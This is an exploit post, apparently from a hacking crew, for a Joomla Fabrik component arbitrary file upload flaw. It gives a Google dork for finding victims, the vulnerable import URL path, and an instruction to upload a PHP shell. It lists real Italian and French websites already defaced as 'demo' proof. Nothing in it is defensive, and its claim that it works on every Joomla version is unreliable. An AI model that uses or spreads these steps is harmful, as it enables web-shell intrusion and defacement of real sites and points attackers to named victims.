Joomla Arbitrary File Upload Vulnerability

# Exploit Title : F3D4İ's Joomla Arbitrary File Upload Vulnerability
# Google Dork : inurl:viewtable?cid= site:it
# Tested On : [ Windows- Linux ]
# Date: 07.01.2017
# Exploit Author: F3D4İ
#Author Details:twitter.com/f3d4i6
#Tested on: Kali Linux 2.0 / Windows 7-8-10
#Youtube Lİnk : https://youtu.be/TFEVrNYuJBk
######################
# [+] DESCRIPTION :
######################
# 1:Search Google Dork and Choose a Target
# 2: Exploit:

/index.php?option=com_fabrik&c=import&view=import&fietype=csv&tableid=0&Itemid=0

# 3: upload shell.php or index.html
# 4: Poc: http://www.localhost.com/media/index.... or http://www.localhost.com/media/shell.php
------------------------------------------------
This exploit working all joomla verison but website of kind italia.
#demo:

http://www.ghostshockey.it/media/index.html
http://www.notaiopulvirenti.it/media/index.html
http://www.alphasoft.it/media/index.html
http://deuil61.123.fr/media/index.html
http://www.filuse.it/sito/media/index.html
http://www.aquoschemical.it/sito/media/index.html
http://www.decanatoappianogentile.it/grest/media/index.html
http://www.multimediaform.it/media/index.html

#Br0thers: By B0zoklu - Tmk - Kara Murat -Trajedi - DArkSide - DarkDemon - E.C - M4ni4c - M4DD3
#We are Turkish Hackers

Tweet